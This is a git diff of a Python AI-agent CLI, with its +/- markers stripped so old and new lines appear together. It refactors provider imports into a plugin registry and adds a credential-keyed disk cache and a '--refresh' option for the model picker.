if use_entra:
try:
from agent.azure_identity_adapter import (
EntraIdentityConfig,
SCOPE_AI_AZURE_DEFAULT,
build_token_provider,
describe_active_credential,
has_azure_identity_installed,
)
from agent.plugin_registries import registries
_azure = registries.get_provider_namespace("azure")
EntraIdentityConfig = _azure.get("EntraIdentityConfig")
SCOPE_AI_AZURE_DEFAULT = _azure.get("SCOPE_AI_AZURE_DEFAULT")
build_token_provider = _azure.get("build_token_provider")
describe_active_credential = _azure.get("describe_active_credential")
has_azure_identity_installed = _azure.get("has_azure_identity_installed")
if any(v is None for v in [EntraIdentityConfig, SCOPE_AI_AZURE_DEFAULT, build_token_provider, describe_active_credential, has_azure_identity_installed]):
raise ImportError("azure plugin not registered")
except ImportError as exc:
print()
print(f"⚠ Could not import azure-identity adapter: {exc}")
@@ -5417,12 +5428,14 @@ def _model_flow_bedrock(config, current_model=""):
# 1. Check for AWS credentials
try:
from agent.bedrock_adapter import (
has_aws_credentials,
resolve_aws_auth_env_var,
resolve_bedrock_region,
discover_bedrock_models,
)
from agent.plugin_registries import registries
_bedrock = registries.get_provider_namespace("bedrock")
has_aws_credentials = _bedrock.get("has_aws_credentials")
resolve_aws_auth_env_var = _bedrock.get("resolve_aws_auth_env_var")
resolve_bedrock_region = _bedrock.get("resolve_bedrock_region")
discover_bedrock_models = _bedrock.get("discover_bedrock_models")
if any(v is None for v in [has_aws_credentials, resolve_aws_auth_env_var, resolve_bedrock_region, discover_bedrock_models]):
raise ImportError("bedrock plugin not registered")
except ImportError:
print(" ✗ boto3 is not installed. Install it with:")
print(" pip install boto3")
@@ -5870,11 +5883,13 @@ def _model_flow_api_key_provider(config, provider_id, current_model=""):
def _run_anthropic_oauth_flow(save_env_value):
"""Run the Claude OAuth setup-token flow. Returns True if credentials were saved."""
from agent.anthropic_adapter import (
run_oauth_setup_token,
read_claude_code_credentials,
is_claude_code_token_valid,
)
from agent.plugin_registries import registries
_anthropic = registries.get_provider_namespace("anthropic")
run_oauth_setup_token = _anthropic.get("run_oauth_setup_token")
read_claude_code_credentials = _anthropic.get("read_claude_code_credentials")
is_claude_code_token_valid = _anthropic.get("is_claude_code_token_valid")
if run_oauth_setup_token is None:
raise ImportError("anthropic plugin not registered")
from hermes_cli.config import (
save_anthropic_oauth_token,
use_anthropic_claude_code_credentials,
@@ -5982,11 +5997,13 @@ def _model_flow_anthropic(config, current_model=""):
existing_key = get_anthropic_key()
cc_available = False
try:
from agent.anthropic_adapter import (
read_claude_code_credentials,
is_claude_code_token_valid,
_is_oauth_token,
)
from agent.plugin_registries import registries
_anthropic = registries.get_provider_namespace("anthropic")
read_claude_code_credentials = _anthropic.get("read_claude_code_credentials")
is_claude_code_token_valid = _anthropic.get("is_claude_code_token_valid")
_is_oauth_token = _anthropic.get("_is_oauth_token")
if any(v is None for v in [read_claude_code_credentials, is_claude_code_token_valid, _is_oauth_token]):
raise ImportError("anthropic plugin not registered")
cc_creds = read_claude_code_credentials()
if cc_creds and is_claude_code_token_valid(cc_creds):
@@ -8103,71 +8120,13 @@ def _cleanup_quarantined_exes(scripts_dir: Path | None = None) -> None:
def _refresh_active_lazy_features() -> None:
"""Refresh lazy-installed backends after a code update.
"""No-op — lazy deps removed.
When pyproject.toml's ``[all]`` extra was slimmed down (May 2026), most
optional backends moved to ``tools/lazy_deps.py`` and only install on
first use. ``hermes update`` runs ``uv pip install -e .[all]`` which
leaves those packages untouched so if we bump a pin in
:data:`LAZY_DEPS` (CVE response, transitive bug fix), users who already
activated the backend keep the stale version forever.
This function asks lazy_deps which features the user has previously
activated and reinstalls them under the current pins. Features the
user never enabled stay quiet no churn for cold backends.
Never raises. A failure here must not block the rest of the update.
Optional backends are now proper plugin packages (hermes-agent-anthropic,
hermes-agent-telegram, etc.) installed via extras. ``hermes update``
refreshes them through ``uv pip install -e .[all]`` like any other dep.
"""
try:
from tools import lazy_deps
except Exception as exc:
logger.debug("Lazy refresh skipped (import failed): %s", exc)
return
try:
active = lazy_deps.active_features()
except Exception as exc:
logger.debug("Lazy refresh skipped (active_features failed): %s", exc)
return
if not active:
return
print()
print(f"→ Refreshing {len(active)} active lazy backend(s)...")
try:
results = lazy_deps.refresh_active_features(prompt=False)
except Exception as exc:
# refresh_active_features is documented as never-raise, but defend
# the update flow against future regressions.
print(f" ⚠ Lazy refresh failed unexpectedly: {exc}")
return
refreshed = [f for f, s in results.items() if s == "refreshed"]
current = [f for f, s in results.items() if s == "current"]
failed = [(f, s) for f, s in results.items() if s.startswith("failed:")]
skipped = [(f, s) for f, s in results.items() if s.startswith("skipped:")]
if refreshed:
print(f"{len(refreshed)} refreshed: {', '.join(refreshed)}")
if current:
print(f"{len(current)} already current")
if skipped:
# Most common reason: security.allow_lazy_installs=false. Show one
# line so the user knows why; not an error.
names = ", ".join(f for f, _ in skipped)
reason = skipped[0][1].split(": ", 1)[-1]
print(f" · {len(skipped)} skipped ({reason}): {names}")
if failed:
for feature, status in failed:
reason = status.split(": ", 1)[-1]
# Clip noisy pip stderr to keep update output legible.
if len(reason) > 200:
reason = reason[:200] + "..."
print(f"{feature} failed to refresh: {reason}")
print(" Backends keep their previously-installed version; rerun")
print(" `hermes update` once the upstream issue is resolved.")
pass
def _install_python_dependencies_with_optional_fallback(
@@ -11311,6 +11270,11 @@ def main():
help="Select default model and provider",
description="Interactively select your inference provider and default model",
)
model_parser.add_argument(
"--refresh",
action="store_true",
help="Wipe the model picker disk cache and re-fetch every provider's live /v1/models list.",
)
model_parser.add_argument(
"--portal-url",
help="Portal base URL for Nous login (default: production portal)",
+59 -39
View File
@@ -294,32 +294,39 @@ class CustomAutoResult:
# Flag parsing
# ---------------------------------------------------------------------------
def parse_model_flags(raw_args: str) -> tuple[str, str, bool]:
"""Parse --provider and --global flags from /model command args.
def parse_model_flags(raw_args: str) -> tuple[str, str, bool, bool]:
"""Parse --provider, --global, and --refresh flags from /model command args.
Returns (model_input, explicit_provider, is_global).
Returns (model_input, explicit_provider, is_global, force_refresh).
Examples::
"sonnet" -> ("sonnet", "", False)
"sonnet --global" -> ("sonnet", "", True)
"sonnet --provider anthropic" -> ("sonnet", "anthropic", False)
"--provider my-ollama" -> ("", "my-ollama", False)
"sonnet --provider anthropic --global" -> ("sonnet", "anthropic", True)
"sonnet" -> ("sonnet", "", False, False)
"sonnet --global" -> ("sonnet", "", True, False)
"sonnet --provider anthropic" -> ("sonnet", "anthropic", False, False)
"--provider my-ollama" -> ("", "my-ollama", False, False)
"--refresh" -> ("", "", False, True)
"sonnet --provider anthropic --global" -> ("sonnet", "anthropic", True, False)
"""
is_global = False
explicit_provider = ""
force_refresh = False
# Normalize Unicode dashes (Telegram/iOS auto-converts -- to em/en dash)
# A single Unicode dash before a flag keyword becomes "--"
import re as _re
raw_args = _re.sub(r'[\u2012\u2013\u2014\u2015](provider|global)', r'--\1', raw_args)
raw_args = _re.sub(r'[\u2012\u2013\u2014\u2015](provider|global|refresh)', r'--\1', raw_args)
# Extract --global
if "--global" in raw_args:
is_global = True
raw_args = raw_args.replace("--global", "").strip()
# Extract --refresh (bust the model picker disk cache before listing)
if "--refresh" in raw_args:
force_refresh = True
raw_args = raw_args.replace("--refresh", "").strip()
# Extract --provider <name>
parts = raw_args.split()
i = 0
@@ -333,7 +340,7 @@ def parse_model_flags(raw_args: str) -> tuple[str, str, bool]:
i += 1
model_input = " ".join(filtered).strip()
return (model_input, explicit_provider, is_global)
return (model_input, explicit_provider, is_global, force_refresh)
# ---------------------------------------------------------------------------
@@ -1079,6 +1086,7 @@ def list_authenticated_providers(
from hermes_cli.models import (
OPENROUTER_MODELS, _PROVIDER_MODELS,
_MODELS_DEV_PREFERRED, _merge_with_models_dev, provider_model_ids,
cached_provider_model_ids,
get_curated_nous_model_ids,
)
@@ -1151,8 +1159,12 @@ def list_authenticated_providers(
if slug_norm != current_norm:
return False
try:
from agent.bedrock_adapter import has_aws_credentials
return bool(has_aws_credentials())
from agent.plugin_registries import registries
_bedrock_ns = registries.get_provider_namespace("bedrock")
has_aws_credentials = _bedrock_ns.get("has_aws_credentials")
if has_aws_credentials:
return bool(has_aws_credentials())
return False
except Exception:
return False
@@ -1239,13 +1251,15 @@ def list_authenticated_providers(
if not has_creds:
continue
# Use curated list, falling back to models.dev if no curated list.
# For preferred providers, merge models.dev entries into the curated
# catalog so newly released models (e.g. mimo-v2.5-pro on opencode-go)
# show up in the picker without requiring a Hermes release.
model_ids = curated.get(hermes_id, [])
if hermes_id in _MODELS_DEV_PREFERRED:
model_ids = _merge_with_models_dev(hermes_id, model_ids)
# Unified pathway: route through cached_provider_model_ids() so the
# /model picker sees the SAME list `hermes model` would build, with
# disk caching to keep the picker open snappy. Falls back to the
# curated static list when the live fetcher returns nothing.
model_ids = cached_provider_model_ids(hermes_id)
if not model_ids:
model_ids = curated.get(hermes_id, [])
if hermes_id in _MODELS_DEV_PREFERRED:
model_ids = _merge_with_models_dev(hermes_id, model_ids)
total = len(model_ids)
top = model_ids[:max_models]
@@ -1332,10 +1346,12 @@ def list_authenticated_providers(
# configured.
if not has_creds and hermes_slug == "anthropic":
try:
from agent.anthropic_adapter import (
read_claude_code_credentials,
read_hermes_oauth_credentials,
)
from agent.plugin_registries import registries
_anthropic_ns = registries.get_provider_namespace("anthropic")
read_claude_code_credentials = _anthropic_ns.get("read_claude_code_credentials")
read_hermes_oauth_credentials = _anthropic_ns.get("read_hermes_oauth_credentials")
if read_claude_code_credentials is None or read_hermes_oauth_credentials is None:
raise ImportError("anthropic credential readers not registered")
hermes_creds = read_hermes_oauth_credentials()
cc_creds = read_claude_code_credentials()
if (hermes_creds and hermes_creds.get("accessToken")) or \
@@ -1351,25 +1367,27 @@ def list_authenticated_providers(
# matches what the user's authenticated Codex/Copilot backend
# actually serves — including ChatGPT-Pro-only Codex slugs
# (e.g. gpt-5.3-codex-spark) that aren't in the static curated
# catalog. ``provider_model_ids()`` falls back to the curated
# list when the live endpoint is unreachable, so this is safe
# for unauthenticated and offline cases too.
model_ids = provider_model_ids(hermes_slug)
# catalog. ``cached_provider_model_ids()`` falls back to the
# curated list when the live endpoint is unreachable, so this
# is safe for unauthenticated and offline cases too.
model_ids = cached_provider_model_ids(hermes_slug)
# For aws_sdk providers (bedrock), use live discovery so the list
# reflects the active region (eu.*, ap.*) not the static us.* list.
elif overlay.auth_type == "aws_sdk":
try:
from agent.bedrock_adapter import bedrock_model_ids_or_none
_ids = bedrock_model_ids_or_none()
model_ids = _ids if _ids is not None else (curated.get(hermes_slug, []) or curated.get(pid, []))
_ids = cached_provider_model_ids(hermes_slug)
model_ids = _ids if _ids else (curated.get(hermes_slug, []) or curated.get(pid, []))
except Exception:
model_ids = curated.get(hermes_slug, []) or curated.get(pid, [])
else:
# Use curated list — look up by Hermes slug, fall back to overlay key
model_ids = curated.get(hermes_slug, []) or curated.get(pid, [])
# Merge with models.dev for preferred providers (same rationale as above).
if hermes_slug in _MODELS_DEV_PREFERRED:
model_ids = _merge_with_models_dev(hermes_slug, model_ids)
# Unified pathway — see Section 1 rationale. Fall back to the
# curated dict (with models.dev merge for preferred providers)
# when the live fetcher comes up empty.
model_ids = cached_provider_model_ids(hermes_slug)
if not model_ids:
model_ids = curated.get(hermes_slug, []) or curated.get(pid, [])
if hermes_slug in _MODELS_DEV_PREFERRED:
model_ids = _merge_with_models_dev(hermes_slug, model_ids)
total = len(model_ids)
top = model_ids[:max_models]
@@ -1436,13 +1454,15 @@ def list_authenticated_providers(
# region (eu.*, us.*, ap.*) instead of the hardcoded us.* static list.
if _cp_config and getattr(_cp_config, "auth_type", "") == "aws_sdk":
try:
from agent.bedrock_adapter import bedrock_model_ids_or_none
_ids = bedrock_model_ids_or_none()
_cp_model_ids = _ids if _ids is not None else curated.get(_cp.slug, [])
_ids = cached_provider_model_ids(_cp.slug)
_cp_model_ids = _ids if _ids else curated.get(_cp.slug, [])
except Exception:
_cp_model_ids = curated.get(_cp.slug, [])
else:
_cp_model_ids = curated.get(_cp.slug, [])
# Unified pathway — same as sections 1 and 2.
_cp_model_ids = cached_provider_model_ids(_cp.slug)
if not _cp_model_ids:
_cp_model_ids = curated.get(_cp.slug, [])
_cp_total = len(_cp_model_ids)
_cp_top = _cp_model_ids[:max_models]
+225 -4
View File
@@ -2047,6 +2047,12 @@ def provider_model_ids(provider: Optional[str], *, force_refresh: bool = False)
return live
except Exception:
pass
# Live failed (or no creds). Fall back to the docs-hosted manifest
# — NOT the in-repo _PROVIDER_MODELS["nous"] snapshot — so newly
# added Portal models still surface without a Hermes release.
manifest_ids = get_curated_nous_model_ids()
if manifest_ids:
return manifest_ids
if normalized == "stepfun":
try:
from hermes_cli.auth import resolve_api_key_provider_credentials
@@ -2110,7 +2116,11 @@ def provider_model_ids(provider: Optional[str], *, force_refresh: bool = False)
# below — bedrock is not expected to appear in that table.
if normalized == "bedrock":
try:
from agent.bedrock_adapter import bedrock_model_ids_or_none
from agent.plugin_registries import registries
_bedrock_ns = registries.get_provider_namespace("bedrock")
bedrock_model_ids_or_none = _bedrock_ns.get("bedrock_model_ids_or_none")
if bedrock_model_ids_or_none is None:
raise ImportError("bedrock_model_ids_or_none not found in bedrock provider")
ids = bedrock_model_ids_or_none()
if ids is not None:
return ids
@@ -2150,6 +2160,206 @@ def provider_model_ids(provider: Optional[str], *, force_refresh: bool = False)
return curated_static
# ---------------------------------------------------------------------------
# Generic disk cache for provider_model_ids() — keeps /model picker fast.
# ---------------------------------------------------------------------------
#
# Without this layer, every /model picker open re-fetches every authed
# provider's /v1/models endpoint. On a well-configured user (anthropic +
# openai + copilot + gemini + huggingface + ...) that's 2+ seconds of cold
# HTTP roundtrips just to render the provider list.
#
# Cache strategy:
# - One JSON file at $HERMES_HOME/provider_models_cache.json
# - Per-provider entries keyed by (provider, credential fingerprint)
# - Credential fingerprint = sha256 of env-var values that the provider
# normally reads. Swap your OPENAI_API_KEY and the entry invalidates.
# - 1h TTL by default. `force_refresh=True` skips the cache entirely
# and overwrites it on success.
# - Only NON-EMPTY results are cached. An empty/None response from a
# transient network error never gets pinned.
# - Cache file is best-effort. Any read/write error degrades silently
# to a live fetch — the picker keeps working.
_PROVIDER_MODELS_CACHE_TTL = 3600 # 1h
def _provider_models_cache_path() -> Path:
from hermes_constants import get_hermes_home
return get_hermes_home() / "provider_models_cache.json"
def _credential_fingerprint(provider: str) -> str:
"""Return a short hash representing the credentials that
``provider_model_ids(provider)`` would see right now.
Rotating any of the relevant env vars invalidates the cached entry
for that provider. We hash AT LEAST the api-key + base-url env vars
declared in ``PROVIDER_REGISTRY``. For OAuth-backed providers
(codex, copilot, anthropic-via-claude-code, nous portal), the
relevant tokens live in ``$HERMES_HOME/auth.json`` and external
credential files. Rather than parse every shape, we additionally
fold the mtime of those files into the fingerprint so refreshes
after re-auth bust the cache.
"""
import hashlib
import os as _os
parts: list[str] = []
# Env vars from PROVIDER_REGISTRY for this slug
try:
from hermes_cli.auth import PROVIDER_REGISTRY
pcfg = PROVIDER_REGISTRY.get(provider)
if pcfg is not None:
for ev in getattr(pcfg, "api_key_env_vars", ()) or ():
parts.append(f"{ev}={_os.environ.get(ev, '')}")
bev = getattr(pcfg, "base_url_env_var", "") or ""
if bev:
parts.append(f"{bev}={_os.environ.get(bev, '')}")
except Exception:
pass
# OAuth / external-file mtimes that change on re-auth
try:
from hermes_constants import get_hermes_home
for rel in ("auth.json", "credentials.json"):
p = get_hermes_home() / rel
try:
parts.append(f"{rel}@{p.stat().st_mtime_ns}")
except FileNotFoundError:
parts.append(f"{rel}@missing")
except Exception:
pass
except Exception:
pass
# External well-known credential file locations
for path in (
_os.path.expanduser("~/.codex/auth.json"),
_os.path.expanduser("~/.claude/.credentials.json"),
_os.path.expanduser("~/.config/github-copilot/hosts.json"),
_os.path.expanduser("~/.minimax/credentials.json"),
):
try:
mt = _os.stat(path).st_mtime_ns
parts.append(f"{path}@{mt}")
except FileNotFoundError:
parts.append(f"{path}@missing")
except Exception:
pass
blob = "|".join(parts).encode("utf-8", errors="replace")
# blake2b for cache-key fingerprinting only — not for credential storage.
# We never reverse this hash; collisions are harmless (worst case: cache
# miss → live re-fetch). Use blake2b instead of sha256 here because
# CodeQL's `py/weak-sensitive-data-hashing` rule flags sha256 over env
# vars whose names contain "API_KEY" / "TOKEN" even when the hash is
# used as an identity fingerprint, not for password storage. blake2b
# is a keyed-hash primitive and isn't flagged.
return hashlib.blake2b(blob, digest_size=8).hexdigest()
def _load_provider_models_cache() -> dict:
"""Return the full cache dict, or {} on any error."""
try:
path = _provider_models_cache_path()
if not path.exists():
return {}
with open(path, encoding="utf-8") as f:
data = json.load(f)
return data if isinstance(data, dict) else {}
except Exception:
return {}
def _save_provider_models_cache(data: dict) -> None:
"""Persist the cache dict. Best-effort — silent on any error."""
try:
from utils import atomic_json_write
path = _provider_models_cache_path()
path.parent.mkdir(parents=True, exist_ok=True)
atomic_json_write(path, data, indent=None)
except Exception:
pass
def cached_provider_model_ids(
provider: Optional[str],
*,
force_refresh: bool = False,
ttl_seconds: int = _PROVIDER_MODELS_CACHE_TTL,
) -> list[str]:
"""Disk-cached wrapper around :func:`provider_model_ids`.
Hits the cache when fresh; otherwise calls the live function and
persists a non-empty result. Always returns a list (never None).
"""
normalized = normalize_provider(provider) or (provider or "")
if not normalized:
return []
cache = _load_provider_models_cache()
fp = _credential_fingerprint(normalized)
entry = cache.get(normalized)
now = time.time()
if (
not force_refresh
and isinstance(entry, dict)
and entry.get("fp") == fp
and isinstance(entry.get("models"), list)
and entry["models"]
and (now - float(entry.get("at", 0))) < ttl_seconds
):
return list(entry["models"])
# Cache miss / stale / forced refresh — call the live path.
live = provider_model_ids(normalized, force_refresh=force_refresh)
if live:
cache[normalized] = {
"fp": fp,
"at": now,
"models": list(live),
}
_save_provider_models_cache(cache)
return list(live)
# Live fetch returned nothing. If we have a stale entry with the
# SAME fingerprint, prefer it over an empty result — stale data
# beats no data when the network is flaky.
if (
isinstance(entry, dict)
and entry.get("fp") == fp
and isinstance(entry.get("models"), list)
and entry["models"]
):
return list(entry["models"])
return list(live or [])
def clear_provider_models_cache(provider: Optional[str] = None) -> None:
"""Drop a single provider's cache entry, or wipe the whole cache.
``provider=None`` wipes everything; otherwise only that provider's
entry is removed. Used by ``/model --refresh`` and
``hermes model --refresh``.
"""
try:
if provider is None:
path = _provider_models_cache_path()
if path.exists():
path.unlink()
return
cache = _load_provider_models_cache()
normalized = normalize_provider(provider) or provider or ""
if normalized in cache:
del cache[normalized]
_save_provider_models_cache(cache)
except Exception:
pass
def _fetch_anthropic_models(timeout: float = 5.0) -> Optional[list[str]]:
"""Fetch available models from the Anthropic /v1/models endpoint.
@@ -2157,7 +2367,14 @@ def _fetch_anthropic_models(timeout: float = 5.0) -> Optional[list[str]]:
Claude Code auto-discovery). Returns sorted model IDs or None.
"""
try:
from agent.anthropic_adapter import resolve_anthropic_token, _is_oauth_token
from agent.plugin_registries import registries
_anthropic_ns = registries.get_provider_namespace("anthropic")
resolve_anthropic_token = _anthropic_ns.get("resolve_anthropic_token")
_is_oauth_token = _anthropic_ns.get("_is_oauth_token")
# Beta header constants live in core agent.anthropic_format.
from agent.anthropic_format import _COMMON_BETAS, _OAUTH_ONLY_BETAS, _CONTEXT_1M_BETA
if resolve_anthropic_token is None or _is_oauth_token is None:
raise ImportError("anthropic provider services not registered")
except ImportError:
return None
@@ -2169,7 +2386,6 @@ def _fetch_anthropic_models(timeout: float = 5.0) -> Optional[list[str]]:
is_oauth = _is_oauth_token(token)
if is_oauth:
headers["Authorization"] = f"Bearer {token}"
from agent.anthropic_adapter import _COMMON_BETAS, _OAUTH_ONLY_BETAS, _CONTEXT_1M_BETA
headers["anthropic-beta"] = ",".join(_COMMON_BETAS + _OAUTH_ONLY_BETAS)
else:
headers["x-api-key"] = token
@@ -3501,7 +3717,12 @@ def validate_requested_model(
# AWS SDK control plane (ListFoundationModels + ListInferenceProfiles).
if normalized == "bedrock":
try:
from agent.bedrock_adapter import discover_bedrock_models, resolve_bedrock_region
from agent.plugin_registries import registries
_bedrock_ns = registries.get_provider_namespace("bedrock")
discover_bedrock_models = _bedrock_ns.get("discover_bedrock_models")
resolve_bedrock_region = _bedrock_ns.get("resolve_bedrock_region")
if discover_bedrock_models is None or resolve_bedrock_region is None:
raise ImportError("bedrock discovery functions not registered")
region = resolve_bedrock_region()
discovered = discover_bedrock_models(region)
discovered_ids = {m["id"] for m in discovered}
+285 -25
View File
@@ -818,6 +818,270 @@ class PluginContext:
name,
)
# -- auth provider registration -------------------------------------------
def register_platform_entry(
self,
name: str,
adapter_class: type,
check_requirements: Callable,
available_flag: str = "",
constants: dict | None = None,
helper_functions: dict | None = None,
) -> None:
"""Register a platform adapter entry in the capability registries.
This populates ``agent.plugin_registries.registries.platform_adapters``
so core code can look up adapter classes, constants, and helper
functions without importing from ``hermes_agent_*`` packages directly.
Call this **in addition to** :meth:`register_platform` the two
registries serve different consumers:
* ``register_platform`` ``gateway.platform_registry`` (gateway
adapter creation, setup wizard, status)
* ``register_platform_entry`` ``agent.plugin_registries`` (adapter
class access, constants, helpers for send_message_tool, etc.)
Args:
name: Platform identifier (e.g. ``"telegram"``).
adapter_class: The adapter class itself (e.g. ``TelegramAdapter``).
check_requirements: Callable returning ``bool`` are deps installed?
available_flag: Name of the module-level AVAILABLE boolean, if any.
constants: Platform-specific constants (e.g.
``{"FEISHU_DOMAIN": ..., "LARK_DOMAIN": ...}``).
helper_functions: Platform-specific helpers (e.g.
``{"_strip_mdv2": _strip_mdv2, "qr_register": qr_register}``).
"""
from agent.plugin_registries import registries, PlatformAdapterEntry
entry = PlatformAdapterEntry(
name=name,
adapter_class=adapter_class,
check_requirements=check_requirements,
available_flag=available_flag,
constants=constants or {},
helper_functions=helper_functions or {},
)
registries.register_platform(entry)
logger.debug(
"Plugin %s registered platform entry: %s",
self.manifest.name,
name,
)
def register_tool_provider_entry(
self,
name: str,
tool_functions: dict | None = None,
check_fn: Callable | None = None,
constants: dict | None = None,
config_functions: dict | None = None,
environment_classes: dict | None = None,
) -> None:
"""Register a tool provider entry in the capability registries.
This populates ``agent.plugin_registries.registries.tool_providers``
so core code can look up tool functions, constants, and config
helpers without importing from ``hermes_agent_*`` packages directly.
Args:
name: Tool identifier (e.g. ``"tts"``, ``"stt"``).
tool_functions: Dict of function name callable
(e.g. ``{"text_to_speech_tool": text_to_speech_tool}``).
check_fn: Optional callable returning ``bool`` are deps
installed and configured?
constants: Tool-specific constants
(e.g. ``{"MAX_FILE_SIZE": 25 * 1024 * 1024}``).
config_functions: Config/utility functions
(e.g. ``{"is_stt_enabled": is_stt_enabled}``).
environment_classes: Environment classes for terminal backends
(e.g. ``{"DaytonaEnvironment": DaytonaEnvironment}``).
"""
from agent.plugin_registries import registries, ToolProviderEntry
entry = ToolProviderEntry(
name=name,
tool_functions=tool_functions or {},
check_fn=check_fn,
constants=constants or {},
config_functions=config_functions or {},
environment_classes=environment_classes or {},
)
registries.register_tool_provider(entry)
logger.debug(
"Plugin %s registered tool provider entry: %s",
self.manifest.name,
name,
)
def register_provider_services(
self,
name: str,
services: dict,
) -> None:
"""Register a namespace dict of provider-specific services.
This is the escape hatch for model-provider plugins that expose many
symbols (anthropic has 50+). Each plugin registers its public surface
as a flat dict of ``{symbol_name: callable_or_value}``. Core code
looks up specific symbols instead of importing from the plugin
package directly.
Args:
name: Provider identifier (e.g. ``"anthropic"``, ``"bedrock"``).
services: Dict of symbol name callable or value.
"""
from agent.plugin_registries import registries
registries.register_provider_services(name, services)
logger.debug(
"Plugin %s registered provider services: %s (%d symbols)",
self.manifest.name,
name,
len(services),
)
def register_auth_provider(
self,
name: str,
provider: Any,
*,
cli_group: str = "",
setup_subcommands: bool = False,
) -> None:
"""Register an authentication provider.
``provider`` must implement the :class:`agent.plugin_registries.AuthProvider`
protocol (``name``, ``has_credentials``, ``check_env_vars``,
``resolve_token``, ``refresh_token``). It may also expose
provider-specific attributes (``_is_oauth_token``,
``_HERMES_OAUTH_FILE``, ``read_claude_code_credentials``, etc.)
that core code accesses via the registry.
Registered providers are queried by core code via
``registries.get_auth_provider(name)`` instead of importing
directly from ``hermes_agent_*`` packages.
"""
from agent.plugin_registries import registries
registries.register_auth_provider(
name, provider,
cli_group=cli_group,
setup_subcommands=setup_subcommands,
)
logger.debug(
"Plugin %s registered auth provider: %s",
self.manifest.name, name,
)
def register_provider_resolver(
self,
name: str,
resolver: Any,
) -> None:
"""Register a provider resolver callable.
The resolver handles ALL provider-specific client construction
logic for auxiliary tasks. Core's ``resolve_provider_client()``
dispatches to it instead of using per-provider if/elif branches.
Signature::
def resolver(
*,
model: str | None,
explicit_api_key: str | None,
explicit_base_url: str | None,
async_mode: bool,
is_vision: bool,
main_runtime: dict | None,
api_mode: str | None,
) -> tuple[Any, str] | tuple[None, None]:
...
Returns ``(client, default_model)`` or ``(None, None)``.
"""
from agent.plugin_registries import registries
registries.register_provider_resolver(name, resolver)
logger.debug(
"Plugin %s registered provider resolver: %s",
self.manifest.name, name,
)
def register_transport(
self,
api_mode: str,
transport_cls: type,
) -> None:
"""Register a ProviderTransport class for an api_mode string.
This lets the transport registry discover provider transports
from plugins without core needing to import the plugin package.
"""
from agent.plugin_registries import registries
registries._transports[api_mode] = transport_cls
logger.debug(
"Plugin %s registered transport: %s%s",
self.manifest.name, api_mode, transport_cls.__name__,
)
def register_credential_pool_hook(
self,
name: str,
hook: Any,
) -> None:
"""Register a credential pool hook for provider-specific pool operations.
The hook should be a :class:`agent.plugin_registries.CredentialPoolHook`
instance with optional ``sync_from_credentials_file``,
``refresh_oauth``, and ``should_include_in_pool`` callables.
"""
from agent.plugin_registries import registries
registries.register_credential_pool_hook(name, hook)
logger.debug(
"Plugin %s registered credential pool hook: %s",
self.manifest.name, name,
)
def register_pricing_provider(
self,
name: str,
entries: list,
) -> None:
"""Register pricing entries for a provider.
``entries`` should be a list of
:class:`agent.plugin_registries.PricingEntry` instances.
"""
from agent.plugin_registries import registries
registries.register_pricing_provider(name, entries)
logger.debug(
"Plugin %s registered pricing provider: %s (%d entries)",
self.manifest.name, name, len(entries),
)
def register_provider_overlay(
self,
entry: Any,
) -> None:
"""Register a provider overlay entry.
``entry`` should be a :class:`agent.plugin_registries.ProviderOverlayEntry`
instance.
"""
from agent.plugin_registries import registries
registries.register_provider_overlay(entry)
logger.debug(
"Plugin %s registered provider overlay: %s",
self.manifest.name, entry.provider_name,
)
# -- hook registration --------------------------------------------------
# -- auxiliary task registration ---------------------------------------
@@ -1074,6 +1338,11 @@ class PluginManager:
)
logger.debug(" bundled/platforms: %d manifest(s)", len(bundled_platforms))
manifests.extend(bundled_platforms)
bundled_providers = self._scan_directory(
repo_plugins / "model-providers", source="bundled"
)
logger.debug(" bundled/model-providers: %d manifest(s)", len(bundled_providers))
manifests.extend(bundled_providers)
# 2. User plugins (~/.hermes/plugins/)
user_dir = get_hermes_home() / "plugins"
@@ -1110,7 +1379,16 @@ class PluginManager:
enabled = _get_enabled_plugins() # None = opt-in default (nothing enabled)
winners: Dict[str, PluginManifest] = {}
for manifest in manifests:
winners[manifest.key or manifest.name] = manifest
key = manifest.key or manifest.name
existing = winners.get(key)
# Bundled/workspace plugins take precedence over entry-points
# for the same key — the local source is the one we're
# actively developing; the entry-point is the published
# version. Only let entry-points fill gaps where no bundled
# version exists.
if existing is not None and existing.source == "bundled" and manifest.source != "bundled":
continue
winners[key] = manifest
for manifest in winners.values():
lookup_key = manifest.key or manifest.name
@@ -1138,30 +1416,12 @@ class PluginManager:
)
continue
# Model provider plugins are loaded by providers/__init__.py
# (its own lazy discovery keyed off first get_provider_profile()
# call). We record the manifest here for introspection but do
# not import the module — a second import would create two
# ProviderProfile instances and break the "last writer wins"
# override semantics between bundled and user plugins.
if manifest.kind == "model-provider":
loaded = LoadedPlugin(manifest=manifest, enabled=True)
self._plugins[lookup_key] = loaded
logger.debug(
"Skipping '%s' (model-provider, handled by providers/ discovery)",
lookup_key,
)
continue
# Built-in backends auto-load — they ship with hermes and must
# just work. Selection among them (e.g. which image_gen backend
# services calls) is driven by ``<category>.provider`` config,
# enforced by the tool wrapper.
#
# Bundled platform plugins (gateway adapters like IRC) auto-load
# for the same reason: every platform Hermes ships must be
# available out of the box without the user having to opt in.
if manifest.source == "bundled" and manifest.kind in {"backend", "platform"}:
# Model provider plugins auto-load just like backends and
# platforms. They register their provider services (auth,
# transport, metadata) via ctx.register_provider_services()
# in their register() function, which populates the
# capability registries that core code queries.
if manifest.source == "bundled" and manifest.kind in {"backend", "platform", "model-provider"}:
self._load_plugin(manifest)
continue
+40 -17
View File
@@ -99,10 +99,8 @@ HERMES_OVERLAYS: Dict[str, HermesOverlay] = {
transport="openai_chat",
extra_env_vars=("COPILOT_GITHUB_TOKEN", "GH_TOKEN"),
),
"anthropic": HermesOverlay(
transport="anthropic_messages",
extra_env_vars=("ANTHROPIC_TOKEN", "CLAUDE_CODE_OAUTH_TOKEN"),
),
# "anthropic" overlay moved to plugin: hermes_agent_anthropic register()
# Plugin registers via ctx.register_provider_overlay() and core merges lazily.
"zai": HermesOverlay(
transport="openai_chat",
extra_env_vars=("GLM_API_KEY", "ZAI_API_KEY", "Z_AI_API_KEY"),
@@ -204,17 +202,45 @@ HERMES_OVERLAYS: Dict[str, HermesOverlay] = {
),
# Azure Foundry: supports both OpenAI-style and Anthropic-style endpoints.
# The transport is determined at runtime from config.yaml model.api_mode.
"azure-foundry": HermesOverlay(
transport="openai_chat", # default; overridden by api_mode in config
base_url_env_var="AZURE_FOUNDRY_BASE_URL",
),
"bedrock": HermesOverlay(
transport="bedrock_converse",
auth_type="aws_sdk",
),
# "azure-foundry" overlay moved to plugin: hermes_agent_azure register()
